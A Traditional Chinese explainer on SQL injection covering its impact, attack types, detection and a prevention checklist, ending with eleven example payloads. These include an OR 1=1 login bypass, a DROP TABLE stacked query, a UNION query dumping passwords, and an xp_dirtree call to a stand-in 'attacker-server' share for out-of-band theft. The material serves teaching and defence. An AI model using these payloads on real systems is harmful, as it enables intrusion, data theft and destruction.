什麼是 SQL Injection？範例與預防

在 Web 應用程式中存在的各種不同弱點之中，SQL injection 被認為是最危險的弱點之一，因為它可能讓攻擊者僅憑幾行惡意撰寫的程式碼，就取得任何寶貴資料的未經授權存取權。這可能導致客戶資訊、財務紀錄與專有資料外洩，進而造成非常嚴重的後果：資料外洩、財務損失，以及營運中斷。順帶一提，SQL injection 在 2023 年約占全球 Web 應用程式重大弱點的 23%，因此使各產業相當容易受到影響。

對組織而言，SQL injection 風險的重要性再怎麼強調都不為過。隨著企業越來越依賴 Web 應用程式來執行關鍵功能，保護資料庫免受 SQLi 攻擊已成為迫切事項。此類攻擊可能帶來的後果包括財務損失、訴訟、監管罰款，以及長期的聲譽損害。確保對 SQL injection 具備強健防護，意味著可確保營運安全與業務完整性的持續性。

在本文中，我們將拆解什麼是 SQL injection、其運作方式、可能造成的影響、不同類型的 SQL injection，以及最重要的，如何預防 SQL injection 攻擊。閱讀完本指南後，您將完整了解 SQL injection 的運作方式、駭客如何利用這些弱點，以及企業如何保護其 Web 應用程式與資料庫。

什麼是 SQL Injection (SQLi)?

SQL Injection (SQLi) 是一種安全性弱點，允許攻擊者將惡意 SQL 程式碼注入 Web 應用程式的輸入欄位，進而操控資料庫。這通常發生在未正確清理使用者輸入時，因而讓任何具破壞性的命令得以執行。例如，攻擊者可以在登入欄位中輸入 SQL 命令，而非真實憑證，進而危害網路。

SQL injection 弱點通常出現在根據使用者輸入動態產生 SQL 查詢的 Web 應用程式中。但如果應用程式輕率地依賴這些輸入，攻擊者就能任意執行其選擇的 SQL 陳述式，以擷取資料或修改資料庫。因此，攻擊者可能取得個人資料、變更項目，甚至完全刪除資料庫，對企業造成嚴重後果。

SQL 注入最令人警惕的一點之一，是儘管這類漏洞早已為人所知，但它們仍然相當普遍。根據 2020 年《State of the Internet》報告，從 2018 年到 2020 年，SQLi 幾乎占零售、旅遊和餐旅業 Web 應用程式所有攻擊的 80%。此外，允許使用者輸入透過登入表單、搜尋欄位或直接透過 URL 傳遞的 Web 應用程式，最容易受到 SQLi 攻擊。由於 SQL 被廣泛使用，這顯示出一個巨大的攻擊面；因此，組織應特別注意保護這些弱點。

SQL Injection 的主要特徵：

• 利用使用者輸入：攻擊者會在未正確清理或驗證使用者輸入的應用程式中注入惡意 SQL 程式碼。
• 資料庫操控：在成功進行 SQL injection 後，攻擊者會透過修改、刪除或擷取敏感資料來操控資料庫，例如客戶紀錄甚至財務資訊。
• 多重向量：SQLi 可能出現在 Web 應用程式的一個或多個位置，例如登入頁面、搜尋列，甚至 URL 參數，為駭客提供多種可成功入侵系統的向量。
• 敏感資料存取：在取得未經授權的存取權後，攻擊者將擷取關鍵資訊，這些資訊可能揭露公司的重要資料或其客戶的私人資訊。
• 普遍且持續存在： SQL injection 在大多數產業中仍持續普遍存在，尤其是涉及大量資料交易的產業。若未採取任何安全措施，組織極有可能遭受嚴重財務損失、聲譽受損，以及可能面臨訴訟。

成功的 SQL Injection 攻擊會造成什麼影響？

任何組織都能證明，成功利用 SQL injection 發動攻擊後的後果是災難性的。在許多其他潛在後果之中，當攻擊者利用 SQL injection 取得資料庫的未經授權存取權時，可能涉及敏感資料遭竊、營運中斷、聲譽受損，甚至法律行動。讓我們深入了解：

1. 資料竊取：SQL injection 攻擊的直接危險包括資料竊取。也就是說，攻擊者可能擷取個人可識別資訊、使用者名稱清單、密碼、財務紀錄等。遭竊資料可能在暗網上販售，或被用於身分竊盜與詐欺。對企業而言，資料外洩往往會導致巨額財務損失與訴訟。
2. 資料遺失：除了資料竊取之外，攻擊者還可能刪除資料庫中的關鍵資訊，包括客戶資訊、財務紀錄與內部文件。此類損失總是會使業務活動陷入混亂，並可能導致停機。若未建立適當備份，SQL injection 攻擊的復原成本相當高且耗時。
3. 聲譽損害： 在最糟情況下，當客戶發現任何類型的 SQL injection 外洩事件已曝光，且其中包含與他們相關的資訊時，他們會立即失去信任。客戶接著可能離開該平台或對其提告，進而損害品牌在市場中的形象。當客戶完全失去對公司的信任時，往往需要多年時間才能重建其市場聲譽。
4. 監管罰款：如果 SQL 注入攻擊導致敏感資料遺失，受嚴格資料保護法規約束的企業，例如 GDPR、HIPAA 或 PCI DSS，可能會被處以高額罰款。除此之外，還可能有其他相關監管機構一貫採取嚴厲處罰措施，進一步提高此次安全事件的成本。此外，組織也可能被迫通知所有受影響的客戶此情況，而這顯然可能再次導致更嚴重的聲譽損害。
5. 系統接管：在某些極端情況下，SQL injection 可能讓攻擊者取得整個系統的管理控制權或完全掌控權。攻擊者也可能完全控制系統，使其能操控資料庫、應用程式，甚至其他已連線的系統。這類接管具有災難性，通常需要從頭重建系統，才能讓其再次恢復運作。

SQL Injection 攻擊如何運作？

了解 SQL injection 的運作方式，有助於開發人員與企業回答其中一個最重要的問題，也就是如何避免 SQL injection 並保護其系統。SQL injection 攻擊的核心，在於操控嵌入與資料庫互動之 SQL 查詢中的、驗證不佳的使用者輸入。其運作方式如下：

1. 目標識別：在攻擊期間，攻擊者會識別潛在目標，可能是與後端資料庫通訊的 Web 應用程式。攻擊者會尋找將資料傳送至伺服器的輸入欄位、URL 或表單。常見目標包括登入頁面、搜尋列，以及在未經清理的情況下傳送使用者輸入的聯絡表單。
2. 注入惡意程式碼：一旦識別出弱點，攻擊者就會將惡意 SQL 程式碼注入輸入欄位。像是在登入表單中加入 “OR 1 = 1” 這樣簡單的內容，就可能藉由欺騙應用程式將其視為有效查詢來繞過驗證，進而操控資料庫執行 SQL 查詢的方式。
3. 惡意程式碼執行： 如果應用程式未對使用者輸入進行清理或驗證，攻擊者的 SQL 程式碼就會與有效查詢一同由資料庫執行。這是攻擊者繞過安全控制的方法之一，而且在大多數情況下，會直接存取敏感資訊，並可能進一步修改資料庫中的紀錄。
4. 資料利用：在攻擊者注入並執行惡意 SQL 程式碼後，他們便可透過多種方式利用資料庫：竊取敏感資料、透過插入與刪除紀錄來操控資料庫，有時甚至進行權限提升，進而取得整個系統的管理權限。

SQL Injection 的類型

SQL injection 攻擊可能因惡意程式碼的注入方式，以及實際擷取資訊的方式而有所不同。以下是四種主要的 SQL injection 攻擊類型，各自需要不同的偵測與預防方法：.

1. 同通道 SQL Injection：這是一種 SQL injection 攻擊類型，攻擊者注入惡意 SQL 命令，並可透過相同的通訊通道查看結果。範例：攻擊者將 SQL 程式碼輸入搜尋欄位，並直接在網頁上查看立即顯示的結果。這種類型的 injection 對駭客而言無疑最容易，因為它會提供即時回饋。
2. 盲式 SQL Injection：在盲式 SQL injection 中，攻擊者不會立即從資料庫收到回饋。相反地，他們會從應用程式的回應或行為推斷資訊。例如，攻擊者可能使用條件陳述式，根據應用程式的回應來判斷資料庫中是否存在特定資料，即使無法直接存取資料庫輸出也是如此。
3. 頻外 SQL Injection： 在頻外 SQL injection 中，攻擊者依賴遠端伺服器來收集惡意查詢結果。實際上，攻擊者會建立另一個通道，例如 HTTP 或 DNS，從遭入侵的系統中竊取資料，而不是考慮立即回應。這種方式較不常見，通常也更難執行，但非常隱匿。
4. 二階 SQL Injection： 這類攻擊發生於惡意程式碼被注入並儲存在資料庫中，等待稍後執行時。該程式碼會保持休眠狀態，直到被其他事件觸發，而該事件本身可能是管理員操作。二階 SQL injection 更難偵測，因為攻擊發生在初始程式碼注入之後很久；很多時候，也很難追溯到原始來源。

駭客如何利用 SQL Injection 漏洞？

駭客 會系統性地尋找並利用可透過 SQL injection 遭利用的漏洞。了解他們的重要手法，可讓企業採取更有效的措施來防禦。以下說明駭客如何利用 SQLi 漏洞：

1. 漏洞掃描： 攻擊者通常會先掃描 Web 應用程式中的漏洞。工具會將此流程自動化，以找出可能接受未經淨化輸入的薄弱點。此步驟可協助駭客識別攻擊的潛在進入點。
2. 構造惡意查詢： 一旦駭客找到薄弱的輸入欄位，他們就會構造惡意 SQL 查詢，以利用該漏洞。這些查詢會被設計成可操控資料庫執行開發人員原本無意執行的命令，並讓駭客得以擷取、修改或刪除資料。
3. 執行 SQL 程式碼： 查詢構造完成後，攻擊者會透過應用程式中可用的輸入欄位提交該查詢。若應用程式未能正確驗證此類輸入，資料庫就會執行惡意程式碼。這會讓攻擊者不當存取敏感資料或管理控制項。
4. 權限提升： 成功執行 SQL injection 後，有些攻擊者會尋求提升其權限。透過操控資料庫，他們可以取得管理員層級的存取權，不僅能控制資料庫本身，甚至能控制整個系統。他們可能會安裝惡意軟體，以存取其他內部系統並造成更廣泛的損害。

預防 SQL Injection 攻擊的有效技術

現在，讓我們來討論如何預防 SQL injection 攻擊。預防 SQL injection 攻擊需要以積極主動的方式維護 Web 應用程式的安全。透過實作以下技術，可以大幅降低遭受攻擊的可能性：

1. 預備陳述式與參數化查詢： 避免 SQL injection 攻擊最好的方式，可能就是使用預備陳述式與參數化查詢。在這種情況下，SQL 程式碼會預先定義，而使用者提供的資料只會被視為資料，絕不會被當成可執行程式碼。如此一來，即使存在惡意輸入，也無法影響 SQL 命令的結構。
2. 輸入驗證： 輸入驗證可確保使用者輸入的資料符合預期格式。透過針對可輸入的資料類型設定嚴格規則（例如價格欄位只允許數字），您可以阻止可能有害的輸入到達資料庫。輸入驗證是防止 SQL injection 的重要安全層。
3. Web Application Firewall 或 WAF： 簡單來說，WAF 就像是應用程式與網際網路之間的屏障，可過濾惡意流量。現代 WAF 利用機器學習，能夠偵測異常模式，例如 SQL injection 嘗試，並在其到達應用程式之前加以封鎖。
4. 資料淨化： 資料淨化是指透過移除或逸出特殊字元（例如引號與分號）來清理輸入資料，因為這些字元可能觸發 SQL 命令。當所有使用者輸入都經過正確淨化時，就能排除攻擊者利用特殊字元執行惡意 SQL 查詢的可能性。
5. 最小權限存取原則： 最小權限原則 會將使用者的存取層級限制在其必要範圍內。因此，SQL injection 攻擊成功的機率會降到最低。舉例來說，若使用者只需要資料庫中的讀取權限，就不應擁有可刪除或修改資料庫記錄的任何權限。

如何偵測 SQL Injection 漏洞？

主動偵測 SQL injection 漏洞可保護您的系統。企業可使用以下部分方法，找出其 Web 應用程式中的弱點：

1. 自動化掃描器：自動化掃描工具會模擬將惡意 SQL 程式碼注入輸入欄位，如同 SQL 注入攻擊，然後分析來自應用程式的回應。它們在對大型應用程式進行快速掃描並回報弱點方面非常有效。一些常見的自動化掃描工具包括 Burp Suite、SQLMap、Acunetix 和 OWASP ZAP，這些工具具備有效識別 SQL 注入等常見弱點的能力。自動化掃描的限制在於，雖然它作為偵測安全問題的第一步非常出色，但仍存在若干缺陷。基於邏輯的複雜弱點通常容易被忽略，而誤判也很常見，因而不必要地導致修補作業。因此，自動化掃描需要搭配其他方法加以補充。
2. 手動程式碼審查： 雖然自動化掃描器提供極高的速度，但手動程式碼審查則提供深度。安全專家可以審查程式碼，以發現可能未被自動化測試工具偵測到的安全漏洞，無論是複雜的邏輯缺陷或特定情境的弱點。透過深入的手動審查，可以揭露非常難以透過自動化偵測的潛在攻擊向量，例如在整個應用程式中不當使用使用者輸入。然而，這些活動都會耗費資源與時間。因此，您應將手動審查與自動化掃描工具整合，而不是取代它們。
3. 滲透測試：  這種安全測試形式需要聘請專業駭客，在實際運作的系統上模擬真實世界的 SQL injection 攻擊。此方法可提供真實且深入的觀點，了解您的 Web 應用程式抵禦目標式攻擊的能力。這特別包括 滲透測試，它能揭露自動化工具與手動審查可能遺漏的問題，因為這是從實際對手的角度來看漏洞如何被利用。雖然非常有效，但成本也比其他措施更高，且需要專業技能。因此，滲透測試最適合用於重點式安全評估，而非作為持續監控系統安全性的手段。
4. 弱點評估： 定期執行弱點評估對於找出 Web 應用程式中可能出現的安全缺口（包括 SQL injection）極為重要。另一方面，弱點評估 涉及比任何自動化掃描更深入的檢查，例如資料庫組態審查、輸入驗證實務以及使用者權限。從根本上來說，評估會依排程執行，以便在程式碼庫持續演進或應用程式變得更複雜時，找出新引入的漏洞。定期執行弱點評估，可讓組織有機會掌握任何新興威脅和／或攻擊向量的最新情況。
5. 威脅分析： 威脅分析涉及識別潛在攻擊者可能如何利用系統中的 SQL 注入弱點。F5 的威脅建模可協助安全團隊根據應用程式的架構、敏感資料所在位置，以及使用者透過何種互動方式與系統進行互動，識別最可能的攻擊向量。這類分析會同時考量潛在影響與遭利用的可能性，藉此將弱點修補工作排定優先順序。威脅分析也可用於識別 SQL 注入的進入點，從而讓團隊了解應將工作重點放在哪些位置。
6. 追蹤使用者行為模式：使用者行為監控是一種相當進階的安全防護形式，可用於偵測正在進行中的 SQL 注入攻擊跡象。這種安全防護形式可讓組織監控使用者活動是否偏離其平常的活動模式。例如，組織可能能夠辨識出原本正常的使用者帳戶何時正在執行敏感查詢或存取資料庫中的敏感區域。這類異常情況可能表示帳戶已遭入侵，或 SQL 注入攻擊已成功利用。工具用於使用者行為分析（UBA）可即時標示這些異常，讓介入能在重大損害發生前立即進行。行為監控形成一層安全防護，可補足傳統漏洞偵測方法。

SQL Injection 預防檢查清單（最佳實務）

只有透過主動式的安全方法並建立多層防護，才能預防 SQL Injection 攻擊。以下是詳細的最佳實務檢查清單，可協助保護您的 Web 應用程式與資料庫，避免這些危險的利用手法：

#1. 使用預備陳述式與參數化查詢

這是什麼？ 預備陳述式會將 SQL 程式碼與使用者輸入分離，使資料庫將任何輸入嚴格解讀為資料，而非可執行命令。因此，這能有效限制 SQL 注入嘗試。

為什麼這很重要？ 預備陳述式可確保使用者輸入安全，因為它絕不允許來自使用者的注入式 SQL 命令。

應採取的行動： 切勿將使用者輸入直接串接到 SQL 查詢中。另一方面，應用程式程式碼在使用 Java、.NET 或任何其他語言撰寫時，都應使用參數化查詢。

#2. 清理並驗證所有使用者輸入

這是什麼？ 輸入清理與驗證是測試使用者提供資料的方法，用以確保其格式正確，並移除可能有害的字元。

為什麼這很重要？ 攻擊者經常利用未經清理的輸入來注入惡意 SQL。良好的輸入驗證可大幅降低此風險。

應採取的行動： 必須對所有輸入欄位強制實施輸入驗證，包括登入表單和 URL。這包括資料類型與格式驗證；以及對任何可能造成潛在危害的特殊字元進行逸出處理。

#3. 最小權限存取：

這是什麼？ 最小權限存取僅允許執行職責或功能所絕對必要的權限。這將進一步降低發生入侵時可能造成的損害。

這如何提供幫助？ 降低資料庫權限可確保即使攻擊者成功執行 SQLi，也無法檢視或修改其指定範圍之外的資訊。

應採取的行動： 必須定期檢查資料庫中的權限，以確保僅授予最低必要權限。管理員存取權應僅限於確實需要的使用者。

#4. WAF：Web Application Firewall

這是什麼？ Web Application Firewall 是一種清理並監控 HTTP 請求的裝置；它會阻擋惡意流量，例如 SQL 注入嘗試，使其無法到達您的應用程式。

有什麼好處？ WAF 可增加額外的一層防禦，檢查傳入流量中已知的 SQL 注入攻擊模式，並即時加以封鎖。

應採取的行動： 部署可封鎖 SQLi 嘗試的 WAF。設定 WAF 以偵測已知的 SQL 注入技術與異常流量行為。

#5. 定期執行安全稽核

這是什麼？ 安全稽核是指依據常見的安全實務、程式碼與組態來測試應用程式，以偵測潛在弱點。

為什麼這很重要？ 定期稽核可確保新引入的弱點在攻擊者有機會加以利用之前就被修補。

應採取的行動： 安排自動化掃描與頻繁的人工審查。在稽核中納入 SAST、DAST 及其他用於滲透測試的工具。

#6. 執行威脅建模與弱點評估

這是什麼？ 威脅建模是指模擬攻擊者的方法以識別可能的攻擊向量，而弱點評估則是主動尋找安全缺口，以便加以聚焦並解決。

這如何提供幫助？ 威脅建模可協助您判定哪些是最關鍵的弱點，以便主動採取措施加以處理。

應採取的行動： 將威脅建模納入您的開發生命週期。您需要定期執行弱點評估，以便及時識別威脅並有效緩解，避免其遭任何攻擊者利用。

#7. 使用者行為異常偵測

這是什麼？ User Behavior Analytics (UBA) 工具會追蹤使用者活動，並對異常情況發出警示，例如平常沒有人會執行的查詢，以指出可能已遭入侵或發生 SQLi 嘗試。

為什麼要監控行為？ 可更早識別異常使用者，以偵測 SQL 注入攻擊並防止進一步損害。

應採取的行動： 實作 UEBA 工具以監控使用者活動、標記可疑行為，並進行調查以確認是否有正在進行中的主動攻擊。

#8. 限制並分頁查詢

這是什麼？ 限制與分頁可進一步限制資料庫查詢所傳回的記錄數量，若發生 SQL 注入，這對於防止大量資料外洩很有幫助。

這如何保護您？ 這可防止可能已成功執行惡意查詢的攻擊者擷取大量資料，因為它限制了傳回的資料列數量。

應採取的行動： 使用 SQL LIMIT 和 OFFSET 子句來限制每個查詢傳回的資料量。限制攻擊者能夠查詢的內容，可降低成功攻擊造成的潛在損害。

#9. 保持軟體為最新版本並套用修補程式

這是什麼？ 定期更新軟體表示已知漏洞會被修補。這反過來會使系統較不易受到攻擊。

為什麼要經常更新？ 許多 SQLi 漏洞都源自未修補的軟體。讓您的系統保持最新可封鎖潛在的攻擊途徑。

應採取的行動： 制定修補程式管理策略，將 Web 應用程式更新、程式庫更新和資料庫系統更新一致地部署至其最新的安全版本。

SQL Injection 範例

SQL injection 是最常見但也最危險的漏洞之一，它允許攻擊者透過使用者輸入注入惡意 SQL 程式碼來操控資料庫查詢。開發人員和安全專業人員若要制定適當的防禦方式，就必須了解不同類型的 SQL injection。以下是一些與 SQL injection 相關的技術範例，每種都有不同的利用方法。

1. 驗證為管理員身分

此類攻擊涉及攻擊者竄改表單以規避驗證檢查。注入 ‘password’ OR 1=1 後，查詢會變成 SELECT id FROM users WHERE username=’user’ AND password=’password’ OR 1=1。由於 1=1 永遠為真，攻擊者便可取得管理員存取權，從而繞過有效認證的要求。此攻擊證明了忽略使用參數化查詢所產生的弱點。

2. 存取敏感資訊

可將 SQL 注入查詢中，以從資料庫擷取敏感資料。例如，將 ‘Widget’ OR 1=1 注入到如下的產品搜尋查詢 SELECT * FROM items WHERE owner = ‘John’ AND item name = ‘Widget’ OR 1=1 會迫使資料庫傳回所有資料列。很容易看出，這會破壞對未經授權存取機密資料的限制。

3. 用於刪除的堆疊查詢

堆疊查詢攻擊是指一次執行多個查詢。例如，透過注入 20; DROP TABLE Products; ，攻擊者可將類似 SELECT * FROM Products WHERE product_id = 20 的查詢變成會刪除整個產品資料表的查詢。這顯示了允許一次執行多個 SQL 陳述式的危險性。

4. Union 型攻擊

攻擊者可以使用 UNION 運算子來合併多個查詢結果。為此，攻擊者可以修改任何產品查詢，例如 SELECT name, price FROM products WHERE category = ‘shoes’ by adding UNION ALL SELECT username, password FROM users —。此查詢會連同產品資訊一起傾印使用者名稱和密碼。

5. Blind SQL Injection

在 Blind SQL injection 中，攻擊者無法直接存取查詢結果，但可透過應用程式行為推斷資訊。假設有以下查詢： SELECT FROM users WHERE id = ‘$id’ AND IF((SELECT COUNT() FROM users)>10, SLEEP(5), 0); 如果頁面需要較長時間才回應，就表示條件為真。藉此，即使攻擊者看不到輸出，也可能獲得有關資料庫集合的資訊。

6. Error-Based SQL Injection

此攻擊利用資料庫錯誤訊息來取得資訊。例如，如下所示的查詢： SELECT * FROM products WHERE id = 1 AND CONVERT(INT, (SELECT @@version)); – 可強制造成錯誤訊息，揭露 SQL 版本或資料庫的結構資訊。這些線索可為攻擊者提供資訊，以設計後續的利用方式。

7. Boolean-Based SQL Injection

Boolean-based SQL injection 是 Blind SQL injection 的一種類型，會嘗試透過 true/false 條件來擷取資訊。範例如下： SELECT * FROM users WHERE id = ‘$id’ AND ‘1’=’1′; 如果此查詢會傳回結果，但將相同查詢改為 ‘1’=’0′ 時不會，則表示他們知道注入已成功。當攻擊者看不到可見輸出時，便會使用此方法。

8. Time-Based Blind SQL Injection

Time-based blind SQL injection 依賴時間延遲來推斷查詢結果。範例： SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0); 如果頁面載入時間比平常更長，對手就會據此判定查詢已成功完成。這通常是在無法取得錯誤訊息或任何其他形式可見回饋時執行。

9. Second-order SQL Injection

當某些惡意輸入被儲存在某處，並在一段時間後於其他資料庫操作中被執行時，就會發生這種情況。範例： John’); DROP TABLE users;– 如果此輸入被儲存，之後又在另一個查詢中於未經適當驗證的情況下執行，可能會導致重大損害，例如刪除關鍵資料表。

10. 頻外 SQL Injection

在這種類型的攻擊中，資訊揭露是透過 HTTP 或 DNS 請求等外部通道來實現的。範例： SELECT * FROM users WHERE id = 1; EXEC xp_dirtree ‘\\attacker-server\share’; 此查詢接著會向由攻擊者控制的伺服器傳送請求，因此可間接擷取資料。在頻外注入的情況下，資料庫必須啟用對外連線。

11. 預存程序 SQL Injection

SQL injection 會以預存程序本身為目標。以下這個預存程序就是一個很好的範例： CREATE PROCEDURE GetUserData @username NVARCHAR(50) AS EXEC(‘SELECT * FROM users WHERE username = ”’ + @username + ””); 輸入可能是 ‘ OR ‘1’=’1’，並藉此欺騙查詢。如果傳入預存程序的輸入未經適當清理，它們可能與內嵌 SQL 查詢一樣脆弱。

結論

最終，SQL 注入仍然是 Web 應用程式與資料庫最嚴重的安全威脅之一。薄弱的輸入驗證、不安全的查詢處理，以及過時的安全實務，使這類攻擊即使面對如此廣為人知的漏洞仍然相當常見。成功的 SQL 注入攻擊可能導致從資料遭竊到財務損失、聲譽受損，甚至法律後果等各種影響。因此，對企業而言，將預備語句、輸入驗證與 Web Application Firewalls 等措施納入全面性的安全防護中，是相當重要的事項。

每個組織都應非常重視 SQL injection 漏洞，尤其是在處理敏感客戶資料時。透過遵循本文中的最佳實務、定期進行安全稽核，以及教導開發人員安全的程式設計實務，企業可以降低成為 SQL injection 攻擊受害者的機率。